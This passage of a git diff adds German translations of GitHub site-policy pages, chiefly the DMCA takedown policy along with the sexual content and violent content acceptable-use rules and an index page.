+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556523'
+---
+Wir tolerieren keinerlei Inhalte, die mit der sexuellen Ausbeutung oder dem Missbrauch einer anderen Person in Zusammenhang stehen. Dies gilt insbesondere auch für Minderjährige. Wir tolerieren keine sexuellen oder anzüglichen Inhalte, die einzig dem Zweck dienen, eine erotische oder schockierende Reaktion hervorzurufen, insbesondere wenn die Wirkung dieser Inhalte noch verstärkt wird, indem sie in Profilen oder anderen sozialen Kontexten platziert werden. Dies schließt folgendes mit ein:
+
+- Pornografische Inhalte
+- Nicht einvernehmliche intime Bilder
+- Grafische Darstellungen sexueller Handlungen, einschließlich Fotos, Videos, Animationen, Zeichnungen, computergenerierte Bilder oder textbasierte Inhalte
+
+Wir wissen, dass nicht jede Nacktaufnahme bzw. jeder sexuelle Inhalt automatisch obszön ist. Unter bestimmten Umständen sind visuelle und/oder textliche Darstellungen in künstlerischen, pädagogischen, historischen oder journalistischen Kontexten oder in Bezug auf die Interessenvertretung von Opfern zulässig. In einigen Fällen kann das Einfügen eines Haftungsausschlusses hilfreich sein, um den Kontext des Projekts zu kommunizieren. Bitte haben Sie jedoch Verständnis dafür, dass wir den Inhalt gegebenenfalls mit einer Zugangsbeschränkung versehen, indem wir eine Anmeldeoption für den Nutzer integrieren.
diff --git a/translations/de-DE/content/site-policy/acceptable-use-policies/github-threats-of-violence-and-gratuitously-violent-content.md b/translations/de-DE/content/site-policy/acceptable-use-policies/github-threats-of-violence-and-gratuitously-violent-content.md
new file mode 100644
index 0000000000..08efd71c3e
--- /dev/null
+++ b/translations/de-DE/content/site-policy/acceptable-use-policies/github-threats-of-violence-and-gratuitously-violent-content.md
@@ -0,0 +1,26 @@
+---
+title: GitHub – Androhung von Gewalt und gewalttätige Inhalte
+shortTitle: Threats of Violence and Gratuitously Violent Content
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+redirect_from:
+  - /github/site-policy/github-threats-of-violence-and-gratuitously-violent-content
+  - /github/site-policy/github-community-guidelines#threats-of-violence
+  - /github/site-policy/github-community-guidelines#gratuitously-violent-content
+ms.openlocfilehash: 4dc5d6eb2b79dc500b29d3a3bf8bfc9b77244680
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556528'
+---
+Sie dürfen GitHub nicht verwenden, um Gewalttaten zu organisieren, zu fördern, dazu zu ermutigen, sie anzudrohen oder dazu anzustiften. Sie dürfen keine Inhalte posten, die Gewalt oder körperliche Gewalt gegen Menschen oder Tiere darstellen oder verherrlichen. Dies schließt folgendes mit ein:
+
+- Eine Person oder Gruppe mit Missbrauch, Schaden, sexueller Gewalt oder dem Tod zu bedrohen
+- Das Posten von Texten, Bildern oder Audioinhalten, die Gewalt gegen sich selbst, eine andere Person, Gruppe oder ein Tier verherrlichen oder eine grafische Darstellung davon enthalten
+- Ermutigung einer anderen Person, sich selbst zu verletzen
+
+Wir gestatten nicht, dass gewalttätige Inhalte wahllos oder auf eine Art und Weise gepostet werden, dass sie für andere Nutzer schwer zu umgehen sind, wie z. B. über einen Profil-Avatar oder einen Kommentar. Wir verstehen jedoch, dass es legitime Gründe geben kann, gewalttätige Inhalte zu posten, wie z. B. für Bildungs- oder Dokumentationszwecke, im Rahmen kreativer Werke oder zur Darstellung historischer Ereignisse. In diesen Fällen kann eine klare Warnung oder ein Haftungsausschluss den Nutzern helfen, eine fundierte Entscheidung darüber zu treffen, ob sie sich mit solchen Inhalten befassen möchten oder nicht. Dennoch kann GitHub beschließen, die Sichtbarkeit solcher Inhalte auf Personen zu beschränken, die sich dafür entscheiden. 
diff --git a/translations/de-DE/content/site-policy/acceptable-use-policies/index.md b/translations/de-DE/content/site-policy/acceptable-use-policies/index.md
new file mode 100644
index 0000000000..d3503c995b
--- /dev/null
+++ b/translations/de-DE/content/site-policy/acceptable-use-policies/index.md
@@ -0,0 +1,27 @@
+---
+title: Richtlinien zur akzeptablen Nutzung
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+children:
+  - github-acceptable-use-policies
+  - github-active-malware-or-exploits
+  - github-bullying-and-harassment
+  - github-disrupting-the-experience-of-other-users
+  - github-doxxing-and-invasion-of-privacy
+  - github-hate-speech-and-discrimination
+  - github-impersonation
+  - github-misinformation-and-disinformation
+  - github-sexually-obscene-content
+  - github-threats-of-violence-and-gratuitously-violent-content
+  - github-appeal-and-reinstatement
+ms.openlocfilehash: 192083f3486b2d158f998537d6f3341e06c4eedc
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099164'
+---
+
diff --git a/translations/de-DE/content/site-policy/content-removal-policies/dmca-takedown-policy.md b/translations/de-DE/content/site-policy/content-removal-policies/dmca-takedown-policy.md
new file mode 100644
index 0000000000..ffadfe714a
--- /dev/null
+++ b/translations/de-DE/content/site-policy/content-removal-policies/dmca-takedown-policy.md
@@ -0,0 +1,129 @@
+---
+title: Richtlinie zu DMCA Takedown Notices
+redirect_from:
+  - /dmca
+  - /dmca-takedown
+  - /dmca-takedown-policy
+  - /articles/dmca-takedown
+  - /articles/dmca-takedown-policy
+  - /github/site-policy/dmca-takedown-policy
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 6a4f45a0f04db6076826441ad71aecdf30d22730
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556594'
+---
+Willkommen beim GitHub-Leitfaden zum Digital Millennium Copyright Act, allgemein bekannt als „DMCA“. Diese Seite ist nicht als umfassende Einführung in das Gesetz gedacht. Wenn Sie jedoch zu Inhalten, die Sie auf GitHub gepostet haben, eine so genannte DMCA Takedown Notice erhalten haben oder wenn Sie ein Rechteinhaber sind, der eine solche Mitteilung herausgeben möchte, wird diese Seite hoffentlich dazu beitragen, das Gesetz anschaulich zu erläutern, ebenso wie unsere Richtlinien für dessen Einhaltung.
+
+(Wenn Sie nur eine Mitteilung übermitteln möchten, können Sie zu „[G. Senden von Mitteilungen](#g-submitting-notices)“ springen.)
+
+Wie bei allen rechtlichen Angelegenheiten ist es stets ratsam, sich zu Ihren spezifischen Fragen oder Ihrer Situation an einen Fachmann zu wenden. Wir empfehlen Ihnen dringend, dies zu tun, bevor Sie Maßnahmen ergreifen, die Ihre Rechte beeinträchtigen könnten. Dieser Leitfaden ist keine Rechtsberatung und sollte auch nicht als solche verstanden werden.
+
+## Was sind die Produktbenutzungsrechte (DMCA)?
+
+Um den DMCA und einige der darin vorgegebenen Richtlinien zu verstehen, ist es vielleicht hilfreich, einen Blick auf die Situation vor der Verabschiedung dieses Gesetzes zu werfen.
+
+Der DMCA bietet Dienstanbietern, die nutzergenerierte Inhalte hosten, einen sicheren Hafen. Da selbst eine einzige Klage wegen Urheberrechtsverletzung einen gesetzlichen Schadenersatz von bis zu 150.000 USD nach sich ziehen kann, könnte die Möglichkeit, für nutzergenerierte Inhalte haftbar gemacht zu werden, für Dienstanbieter äußerst schädlich sein. Bei potenziellen Schäden, die sich über Millionen von Nutzer vervielfältigen, hätte es Cloud-Computing-Sites und Sites mit nutzergenerierte Inhalten wie YouTube, Facebook oder GitHub ohne DMCA (oder zumindest nicht, ohne einen Teil dieser Kosten an ihre Nutzer weiterzugeben) wahrscheinlich [niemals gegeben](https://arstechnica.com/tech-policy/2015/04/how-the-dmca-made-youtube/).
+
+Der DMCA geht dieses Problem an, indem er eine [urheberrechtlichen Haftungsschutz](https://www.copyright.gov/title17/92chap5.html#512) für Internetdienstanbieter schafft, die mutmaßlich rechtsverletzende nutzergenerierte Inhalte hosten. Solange sich ein Dienstanbieter an die Notice-and-Takedown-Vorschriften des DMCA hält, haftet er im Wesentlichen nicht für Urheberrechtsverletzungen auf der Grundlage von nutzergenerierten Inhalten. Aus diesem Grund ist es für GitHub wichtig, seinen Status als sicherer Hafen im Sinne des DMCA beizubehalten.
+
+Der DMCA verbietet auch die [Umgehung technischer Maßnahmen](https://www.copyright.gov/title17/92chap12.html), die den Zugang zu urheberrechtlich geschützten Werken wirksam kontrollieren. 
+
+## DMCA-Mitteilungen in Kürze
+
+Der DMCA bietet zwei einfache, unkomplizierte Verfahren, die alle GitHub-Nutzer kennen sollten: (i) ein [Takedown Notice](/articles/guide-to-submitting-a-dmca-takedown-notice)-Verfahren für Urheberrechtsinhaber, um die Entfernung von Inhalten zu beantragen; und (ii) ein [Counter Notice](/articles/guide-to-submitting-a-dmca-counter-notice)-Verfahren, mit dem Nutzer Inhalte wieder aktivieren können, wenn Inhalte versehentlich oder durch fälschliche Identifizierung entfernt wurden.
+
+DMCA [Takedown Notices](/articles/guide-to-submitting-a-dmca-takedown-notice) werden von Urheberrechtsinhabern verwendet, um GitHub zu bitten, Inhalte zu entfernen, von denen sie glauben, dass sie eine Verletzung darstellen. Als Softwaredesigner oder -entwickler erstellen Sie jeden Tag urheberrechtlich geschützte Inhalte. Wenn jemand anderes Ihre urheberrechtlich geschützten Inhalte auf GitHub unberechtigterweise verwendet, können Sie uns eine DMCA Takedown Notice senden, um zu verlangen, dass die verletzenden Inhalte geändert oder entfernt werden.
+
+Auf der anderen Seite können mit [Counter Notices](/articles/guide-to-submitting-a-dmca-counter-notice) Fehler korrigiert werden. Möglicherweise besitzt die Person, die die Takedown Notice sendet, keine Urheberrechte oder hat nicht bemerkt, dass Sie eine Lizenz besitzen, oder hat einen anderen Fehler in ihrer Takedown Notice gemacht. Da GitHub normalerweise nicht wissen kann, ob ein Fehler vorliegt, können Sie uns dies über die DMCA Counter Notice mitteilen und uns bitten, den Inhalt wiederherzustellen.
+
+Der DMCA-Notice-and-Takedown-Prozess sollte nur für Beschwerden über Urheberrechtsverletzungen verwendet werden. Mitteilungen, die über unseren DMCA-Prozess gesendet werden, müssen urheberrechtlich geschützte Werke oder Werke, die mutmaßlich verletzt werden, identifizieren. Das Verfahren kann nicht für andere Beschwerden verwendet werden, z. B. Beschwerden über mutmaßliche [Markenrechtsverletzung](/articles/github-trademark-policy/) oder [sensible Daten](/articles/github-sensitive-data-removal-policy/); für diese Situationen bieten wir separate Prozesse an.
+
+## A. Wie funktioniert das eigentlich?
+
+Das DMCA-Framework ist mit dem Weitergeben von Zetteln im Unterricht vergleichbar. Der Urheberrechtsinhaber übergibt GitHub eine Beschwerde über einen Nutzer. Wenn diese richtig geschrieben ist, leiten wir die Beschwerde an den Nutzer weiter. Wenn der Nutzer die Beschwerde bestreitet, kann er eine entsprechende Mitteilung zurückgeben. GitHub hat in diesem Verfahren wenig Ermessensspielraum und muss lediglich bestimmen, ob die Mitteilungen die Mindestanforderungen des DMCA erfüllen. Es ist Sache der Parteien (und ihrer Anwälte), die Begründetheit ihrer Ansprüche zu beurteilen, wobei zu beachten ist, dass Mitteilungen in Kenntnis der Strafbarkeit einer falschen eidesstattlichen Versicherung erfolgen müssen.
+
+Nachfolgend werden die grundlegenden Schritte des Prozesses erläutert.
+
+1. **Urheberrechtsinhaber untersucht die Angelegenheit.** Ein Urheberrechtsinhaber sollte immer eine erste Untersuchung durchführen, um sowohl zu bestätigen, (a) dass er das Urheberrecht an einem Originalwerk besitzt als auch (b) dass der Inhalt auf GitHub nicht autorisiert ist und eine Rechtsverletzung darstellt. Dazu gehört die Bestätigung, dass die Verwendung nicht als geschützt im Rahmen der [angemessenen Verwendung](https://www.lumendatabase.org/topics/22) gilt. Eine bestimmte Verwendung kann angemessen sein, wenn sie nur eine kleine Menge urheberrechtlich geschützter Inhalte verwendet, diese Inhalte auf transformative Weise verwendet, sie für Bildungszwecke verwendet oder eine Kombination der oben genannten. Da sich Code natürlich für solche Verwendungen anbietet, ist jeder Anwendungsfall anders und muss individuell betrachtet werden.
+> **Beispiel:** Ein Beschäftigter der Acme Web Company findet Code des Unternehmens in einem GitHub-Repository. Die Acme Web Company lizenziert ihren Quellcode an mehrere vertrauenswürdige Partner. Vor dem Senden einer Takedown Notice sollte Acme diese Lizenzen und seine Vereinbarungen überprüfen, um sich zu vergewissern, dass der Code auf GitHub unter keiner dieser Lizenzen/Vereinbarungen autorisiert ist.
+
+2. **Urheberrechtsinhaber sendet eine Mitteilung.** Im Anschluss an eine Untersuchung erstellt und sendet ein Urheberrechtsinhaber eine [Takedown Notice](/articles/guide-to-submitting-a-dmca-takedown-notice) an GitHub. Unter der Annahme, dass die Takedown Notice gemäß den gesetzlichen Anforderungen ausreichend detailliert ist (wie in der [Anleitung](/articles/guide-to-submitting-a-dmca-takedown-notice) erläutert), werden wir [die Mitteilung](#d-transparency) in unserem [öffentlichen Repository](https://github.com/github/dmca) veröffentlichen und den Link an den betroffenen Nutzer weitergeben.
+
+3. **GitHub fordert den Nutzer auf, Änderungen vorzunehmen.** Wenn in der Mitteilung behauptet wird, dass der gesamte Inhalt eines Repositories oder ein Paket eine Verletzung darstellt, fahren wir mit Schritt 6 fort und deaktivieren umgehend das gesamte Repository bzw. Paket. Da GitHub den Zugriff auf bestimmte Dateien innerhalb eines Repositories nicht deaktivieren kann, werden wir andernfalls den Nutzer kontaktieren, der das Repository erstellt hat, und ihm ungefähr einen Werktag geben, um den in der Mitteilung angegebenen Inhalt zu löschen oder zu ändern. Wir benachrichtigen den Urheberrechtsinhaber, wenn wir dem Nutzer die Möglichkeit geben, Änderungen vorzunehmen. Da Pakete unveränderlich sind, müsste GitHub das gesamte Paket deaktivieren, wenn nur ein Teil eines Pakets eine Verletzung darstellt, aber wir erlauben die Wiederherstellung, sobald der verletzende Teil entfernt wurde. 
+
+4. **Nutzer benachrichtigt GitHub über Änderungen.** Wenn der Nutzer die angegebenen Änderungen vornimmt, ist dieser *verpflichtet*, uns dies innerhalb eines Zeitfensters von etwa einem Werktag mitzuteilen. Ist dies nicht der Fall, deaktivieren wir das Repository (wie in Schritt 6 beschrieben). Wenn der Nutzer uns mitteilt, dass er Änderungen vorgenommen hat, werden wir überprüfen, ob die Änderungen vorgenommen wurden, und dann den Urheberrechtsinhaber benachrichtigen.
+
+5. **Der Urheberrechtsinhaber ändert die Mitteilung oder zieht sie zurück.** Wenn der Nutzer Änderungen vornimmt, muss der Urheberrechtsinhaber diese überprüfen und seine Takedown Notice erneuern oder überarbeiten, wenn die Änderungen nicht ausreichen. GitHub ergreift nur dann weitere Maßnahmen, wenn der Urheberrechtsinhaber uns kontaktiert, um entweder die ursprüngliche Takedown Notice zu erneuern oder eine überarbeitete Notice einzureichen. Wenn der Urheberrechtsinhaber mit den Änderungen zufrieden ist, kann er entweder einen formellen Widerruf einreichen oder nichts unternehmen. GitHub interpretiert Stillschweigen von mehr als zwei Wochen als stillschweigende Rücknahme der Takedown Notice.
+
+6. **GitHub kann den Zugriff auf den Inhalt deaktivieren.** GitHub deaktiviert den Inhalt eines Nutzers, wenn: (i) der Inhaber des Urheberrechts behauptet, das Urheberrecht am gesamten Repository oder Paket des Nutzers zu besitzen (wie in Schritt 3 angegeben); (ii) der Nutzer keine Änderungen vorgenommen hat, nachdem ihm Gelegenheit dazu gegeben wurde (wie in Schritt 4 angegeben); oder (iii) der Urheberrechtsinhaber seine Takedown Notice erneuert hat, nachdem der Nutzer die Möglichkeit hatte, Änderungen vorzunehmen. Wenn der Urheberrechtsinhaber sich stattdessen dafür entscheidet, die Mitteilung zu *überarbeiten*, kehren wir zu Schritt 2 zurück und wiederholen den Vorgang, als ob die überarbeitete Mitteilung eine neue Mitteilung wäre.
+
+7. **Der Nutzer kann eine Counter Notice senden.** Wir empfehlen Nutzern, deren Inhalte deaktiviert wurden, sich mit einem Anwalt über ihre Möglichkeiten zu beraten. Wenn ein Nutzer glaubt, dass sein Inhalt aufgrund eines Fehlers oder durch fälschliche Identifizierung deaktiviert wurde, kann er uns eine [Counter Notice](/articles/guide-to-submitting-a-dmca-counter-notice) senden. Wie bei der ursprünglichen Mitteilung werden wir sicherstellen, dass die Counter Notice ausreichend detailliert ist (wie in der [Anleitung](/articles/guide-to-submitting-a-dmca-counter-notice) erläutert). In diesem Fall [veröffentlichen](#d-transparency) wir sie in unserem [öffentlichen Repository](https://github.com/github/dmca) und geben die Mitteilung an den Urheberrechtsinhaber zurück, indem wir diesem den Link senden.
+
+8. **Der Urheberrechtsinhaber kann rechtliche Schritte einleiten.** Wenn ein Urheberrechtsinhaber den Inhalt nach Erhalt einer Counter Notice deaktiviert lassen möchte, muss er durch Einleitung rechtlicher Schritte einen Gerichtsbeschluss erwirken, um den Nutzer daran zu hindern, sich an rechtsverletzenden Aktivitäten in Bezug auf den Inhalt auf GitHub zu beteiligen. Mit anderen Worten, Sie könnten verklagt werden. Wenn der Urheberrechtsinhaber GitHub nicht innerhalb von 10 bis 14 Tagen benachrichtigt, indem er eine Kopie einer rechtsgültigen Beschwerde sendet, die bei einem zuständigen Gericht eingereicht wurde, wird GitHub den deaktivierten Inhalt wieder aktivieren.
+
+## B. Was ist mit Abspaltungen (Forks)? (oder Was ist eine Abspaltung?)
+
+Eines der besten Features von GitHub ist, dass Nutzer die Möglichkeit haben, Repositories anderer abzuspalten bzw. zu „forken“. Was bedeutet das? Im Wesentlichen bedeutet dies, dass Nutzer in ihrem eigenen Repository eine Kopie eines Projekts auf GitHub erstellen können. Wenn die Lizenz oder das Gesetz es zulässt, können Nutzer dann Änderungen an dieser Abspaltung vornehmen, um entweder zum Hauptprojekt zurückzukehren oder einfach ihre eigene Variante eines Projekts zu behalten. Jede dieser Kopien ist ein „[Fork](/articles/github-glossary#fork)“ des ursprünglichen Repositories, das wiederum auch als „übergeordnetes Element“ des Forks bezeichnet werden kann.
+
+GitHub wird Abspaltungen *nicht* automatisch deaktivieren, wenn ein übergeordnetes Repository deaktiviert wird. Dies liegt daran, dass Abspaltungen/Forks verschiedenen Nutzern gehören, möglicherweise erheblich verändert wurden und unter Umständen lizenziert oder auf andere Weise verwendet werden, die durch den Grundsatz der angemessenen Verwendung geschützt ist. GitHub führt keine unabhängigen Untersuchungen zu Abspaltungen durch. Wir erwarten von Urheberrechtsinhabern, dass sie diese Untersuchung durchführen und Abspaltungen ausdrücklich in ihre Takedown Notice aufnehmen, sofern sie der Meinung sind, dass die Abspaltungen ebenfalls eine Verletzung darstellen.
+
+In seltenen Fällen können Sie eine Urheberrechtsverletzung in einem vollständigen Repository geltend machen, das aktiv geforkt wird. Wenn Sie zu dem Zeitpunkt, an dem Sie Ihre Mitteilung eingereicht haben, alle vorhandenen Abspaltungen dieses Repositories als mutmaßlich verletzend identifiziert haben, würden wir bei Bearbeitung der Mitteilung einen gültigen Anspruch gegen alle Abspaltungen in diesem Netzwerk bearbeiten. Wir würden dies aufgrund der Wahrscheinlichkeit tun, dass alle neu erstellten Abspaltungen denselben Inhalt enthalten würden. Wenn das gemeldete Netzwerk, das die mutmaßlich verletzenden Inhalte enthält, größer als einhundert (100) Repositories ist und es daher schwierig wäre, es in seiner Gesamtheit zu überprüfen, können wir außerdem in Betracht ziehen, das gesamte Netzwerk zu deaktivieren, wenn Sie in Ihre Mitteilung folgende Aussage aufnehmen: „Auf der Grundlage der von mir überprüften repräsentativen Anzahl von Abspaltungen bin ich der Ansicht, dass alle oder die meisten Abspaltungen im gleichen Maße wie das übergeordnete Repository rechtsverletzend sind.“ Ihre eidesstattliche Erklärung würde für diese Erklärung gelten.
+
+## C. Was ist mit Ansprüchen wegen Umgehung von Maßnahmen (Circumvention Claims)?
+
+Der DMCA verbietet die [Umgehung technischer Maßnahmen](https://www.copyright.gov/title17/92chap12.html), die den Zugang zu urheberrechtlich geschützten Werken wirksam kontrollieren. Angesichts der Tatsache, dass diese Arten von Ansprüchen oft sehr technischer Natur sind, verlangt GitHub von den Anspruchsstellern die Bereitstellung [detaillierte Informationen zu diesen Forderungen](/github/site-policy/guide-to-submitting-a-dmca-takedown-notice#complaints-about-anti-circumvention-technology), und wir nehmen eine umfassendere Prüfung vor. 
+
+Ein Anspruch wegen Umgehung von Maßnahmen muss die folgenden Angaben zu den eingesetzten technischen Maßnahmen sowie zur Art und Weise enthalten, wie sie durch das betreffende Projekt umgangen werden. Insbesondere muss die Mitteilung an GitHub detaillierte Erklärungen enthalten, die Folgendes beschreiben:
+1. Was die technischen Maßnahmen sind,
+2. wie sie den Zugriff auf das urheberrechtlich geschützte Material effektiv kontrollieren und 
+3. wie das betreffende Projekt darauf abzielt, die zuvor beschriebenen technischen Schutzmaßnahmen zu umgehen.
+
+GitHub wird Ansprüche wegen Umgehung von Maßnahmen genau prüfen, darunter von technischen und rechtlichen Experten. Bei der technischen Überprüfung versuchen wir, die Details über die Funktionsweise der technischen Schutzmaßnahmen sowie die Art und Weise, wie das Projekt sie mutmaßlich umgeht, zu validieren. Bei der rechtlichen Prüfung versuchen wir sicherzustellen, dass die Ansprüche nicht über die Grenzen des DMCA hinausgehen. In Fällen, in denen wir nicht feststellen können, ob ein Anspruch berechtigt ist, stehen wir im Zweifel auf der Seite des Entwicklers irren und werden den Inhalt nicht deaktivieren. Wenn der Antragsteller zur Nachverfolgung weitere Einzelheiten bereitstellen möchte, würden wir den Überprüfungsprozess erneut starten, um die überarbeiteten Ansprüche zu bewerten.
+
+Wenn unsere Experten feststellen, dass ein Anspruch vollständig, rechtmäßig und technisch legitim ist, werden wir den Eigentümer des Repositories kontaktieren und ihm die Möglichkeit geben, auf den Anspruch zu reagieren oder Änderungen am Repo vorzunehmen, um eine Deaktivierung zu vermeiden. Sollten wir keine Antwort erhalten, versuchen wir, den Eigentümer des Repositories erneut zu kontaktieren, bevor wir weitere Schritte unternehmen. Mit anderen Worten, wir werden ein Repository nicht auf der Grundlage des mutmaßlichen Einsatzes von Technologie zur Umgehung von Maßnahmen deaktivieren, ohne zu versuchen, einen Repository-Eigentümer zu kontaktieren, um ihm die Möglichkeit zu geben, darauf zu antworten oder Änderungen vorzunehmen. Wenn wir das Problem nicht lösen können, indem wir uns zuerst an den Eigentümer des Repositories wenden, berücksichtigen wir immer gerne eine Antwort des Repository-Eigentümers, auch nachdem der Inhalt deaktiviert wurde, wenn er die Möglichkeit haben möchte, den Anspruch anzufechten, uns zusätzliche Fakten vorzulegen oder Änderungen vorzunehmen, damit der Inhalt wiederhergestellt wird. Wenn wir Inhalte deaktivieren müssen, stellen wir sicher, dass Repository-Eigentümer ihre Issues und Pull-Requests sowie andere Repository-Daten, die den mutmaßlichen Umgehungscode nicht enthalten, im rechtlich möglichen Umfang exportieren können.
+
+Bitte beachten Sie, dass unser Überprüfungsprozess für Umgehungstechnologie nicht für Inhalte gilt, die andernfalls gegen die Beschränkungen unsere Richtlinien zur akzeptable Nutzung verstoßen würden, was die Weitergabe nicht autorisierter Produktlizenzschlüssel, Software zur Generierung nicht autorisierter Produktlizenzschlüssel oder Software zur Umgehung von Prüfungen auf Produktlizenzschlüssel betrifft. Obwohl Ansprüche dieser Art auch gegen die DMCA-Bestimmungen zu Umgehungstechnologie verstoßen können, sind diese in der Regel unkompliziert und rechtfertigen keine zusätzliche technische und rechtliche Überprüfung. Wenn ein Anspruch jedoch komplexer ist, z. B. im Fall von Jailbreaks, würde das Verfahren zur Überprüfung des Anspruchs wegen Umgehungstechnologie angewendet.  
+
+Wenn GitHub eine DMCA Takedown Notice im Rahmen unseres Prozesses zur Überprüfung von Ansprüchen wegen Umgehungstechnologie verarbeitet, bieten wir dem Repository-Eigentümer eine Empfehlung an, um eine unabhängige Rechtsberatung über [GitHubs Developer Defense Fund](https://github.blog/2021-07-27-github-developer-rights-fellowship-stanford-law-school/) zu erhalten, die für ihn kostenlos ist.
+
+## D. Was passiert, wenn ich versehentlich das Zeitfenster zum Vornehmen von Änderungen verpasst habe?
+
+Uns ist bewusst, dass es viele triftige Gründe gibt, warum Sie möglicherweise keine Änderungen innerhalb des von uns bereitgestellten Zeitfensters von etwa einem Werktag vornehmen können, bevor Ihr Repository deaktiviert wird. Womöglich wurde unsere Nachricht als Spam markiert, vielleicht waren Sie im Urlaub, checken Ihr E-Mail-Konto nicht regelmäßig oder waren eventuell einfach nur beschäftigt. Das verstehen wir. Wenn Sie antworten, um uns mitzuteilen, dass Sie die Änderungen gerne vorgenommen hätten, aber aus irgendeinem Grund die erste Gelegenheit verpasst haben, werden wir das Repository ein weiteres Mal für etwa einen Werktag erneut aktivieren, damit Sie die Änderungen vornehmen können. Auch hier müssen Sie uns benachrichtigen, dass Sie die Änderungen vorgenommen haben, damit das Repository nach diesem Zeitfenster von etwa einem Werktag aktiviert bleibt, wie oben unter [Schritt A.4](#a-how-does-this-actually-work) angegeben. Bitte beachten Sie, dass wir Ihnen nur diese eine zusätzliche Chance anbieten.
+
+## E. Transparenz
+
+Wir glauben, dass Transparenz eine Tugend ist. Die Öffentlichkeit sollte wissen, welche Inhalte von GitHub entfernt werden und warum. Eine informierte Öffentlichkeit kann potenzielle Probleme erkennen und aufdecken, die sonst in einem undurchsichtigen System unbemerkt bleiben würden. Wir veröffentlichen redigierte Kopien aller rechtlichen Mitteilungen, die wir erhalten (einschließlich Originalmitteilungen, Counter Notices oder Widerrufen), unter <https://github.com/github/dmca>. Wir veröffentlichen Ihre persönlichen Kontaktdaten nicht, und wir entfernen persönliche Daten (mit Ausnahme von Nutzernamen in URLs), bevor wir Mitteilungen veröffentlichen. Andere Informationen aus Ihrer Mitteilung machen wir jedoch nur dann unkenntlich, wenn Sie uns ausdrücklich dazu auffordern. Hier sind einige Beispiele für eine veröffentlichte [Takedown Notice](https://github.com/github/dmca/blob/master/2014/2014-05-28-Delicious-Brains.md) und[Counter Notice](https://github.com/github/dmca/blob/master/2014/2014-05-01-Pushwoosh-SDK-counternotice.md), damit Sie sich eine Vorstellung davon machen können. Wenn wir Inhalte entfernen, veröffentlichen wir an ihrer Stelle einen Link zu der entsprechenden Mitteilung.
+
+Bitte beachten Sie auch, dass wir, obwohl wir nicht redigierte Mitteilungen nicht veröffentlichen, eine vollständige nicht redigierte Kopie aller Mitteilungen, die wir erhalten, direkt an jede Partei weitergeben können, deren Rechte davon betroffen wären.
+
+## F. Wiederholte Verletzung
+
+GitHub ist bestrebt, unter geeigneten Umständen und nach eigenem Ermessen die Konten von Nutzern zu deaktivieren und zu kündigen, die möglicherweise die Urheberrechte oder andere gewerbliche Schutzrechte von GitHub oder anderen verletzen.
+
+## G. Senden von Mitteilungen
+
+Wenn Sie bereit sind, eine Takedown Notice oder Counter Notice einzureichen, nutzen Sie diese Informationen:
+- [So reichen Sie eine DMCA Takedown Notice ein](/articles/guide-to-submitting-a-dmca-takedown-notice)
+- [So reichen Sie eine DMCA Counter Notice ein](/articles/guide-to-submitting-a-dmca-counter-notice)
+
+## Weitere Informationen und Bitte um Mitwirkung
+
+Im Internet sind Kommentare und Kritik am Urheberrechtssystem im Allgemeinen und am DMCA im Besonderen nicht schwer zu finden. Während GitHub die wichtige Rolle, die der DMCA bei der Förderung von Innovationen im Internet gespielt hat, anerkennt und wertschätzt, sind wir der Auffassung, dass die Urheberrechtsgesetze wahrscheinlich das ein oder andere Patch gebrauchen könnten – wenn nicht eine ganz neue Version. Im Softwarebereich verbessern und aktualisieren wir unseren Code ständig. Überlegen Sie einmal, wie sehr sich die Technologie seit 1998, als der DMCA verfasst wurde, verändert hat. Wäre es nicht sinnvoll, diese Gesetze, die für Software gelten, auf den neuesten Stand zu bringen?
+
+Wir maßen uns nicht an, alle Antworten zu haben. Aber wenn Sie interessiert sind, finden Sie unten einige Links zu wissenschaftlichen Artikeln und Blogbeiträgen mit Meinungen und Reformvorschlägen:
+
+- [Unbeabsichtigte Konsequenzen: Zwölf Jahre unter dem DMCA](https://www.eff.org/wp/unintended-consequences-under-dmca) (Electronic Frontier Foundation)
+- [Gesetzlicher Schadensersatz im Urheberrecht: Ein reformbedürftiges Rechtsmittel](https://papers.ssrn.com/sol3/papers.cfm?abstract_id=1375604) (William & Mary Law Review)
+- [Ist die Schutzdauer des Urheberrechts zu lang?](https://the1709blog.blogspot.com/2012/11/is-term-of-protection-of-copyright-too.html) (The 1709 Blog)
+- [Wenn wir das „Notice &amp; Takedown“-Verfahren des DMCA ändern wollen, konzentrieren wir uns darauf, in welchem Umfang es missbraucht wird](https://www.techdirt.com/articles/20140314/11350426579/if-were-going-to-change-dmcas-notice-takedown-lets-focus-how-widely-its-abused.shtml) (TechDirt)
+- [Möglichkeiten der Urheberrechtsreform](https://www.cato-unbound.org/issues/january-2013/opportunities-copyright-reform) (Cato Unbound)
+- [Der Grundsatz der angemessenen Verwendung und der Digital Millennium Copyright Act: Gibt es im Internet eine angemessene Verwendung im Rahmen des DMCA?](https://digitalcommons.law.scu.edu/lawreview/vol42/iss1/6/) (Santa Clara Law Review)
+
+GitHub vertritt nicht unbedingt die Meinungen, die in diesen Artikeln dargelegt werden. Wir stellen die Links zur Verfügung, um Sie dazu zu ermutigen, sich zu informieren, sich eine eigene Meinung zu bilden und dann mit Ihren gewählten Vertretern in Kontakt zu treten (z. B. im [US Kongress](https://www.govtrack.us/congress/members) oder dem [EU- Parlament](https://www.europarl.europa.eu/meps/en/home)), um Änderungen anzustoßen, die Ihrer Meinung nach erforderlich sind.
diff --git a/translations/de-DE/content/site-policy/content-removal-policies/github-private-information-removal-policy.md b/translations/de-DE/content/site-policy/content-removal-policies/github-private-information-removal-policy.md
new file mode 100644
index 0000000000..37ee490440
--- /dev/null
+++ b/translations/de-DE/content/site-policy/content-removal-policies/github-private-information-removal-policy.md
@@ -0,0 +1,97 @@
+---
+title: GitHub Richtlinie zum Entfernen privater Informationen
+redirect_from:
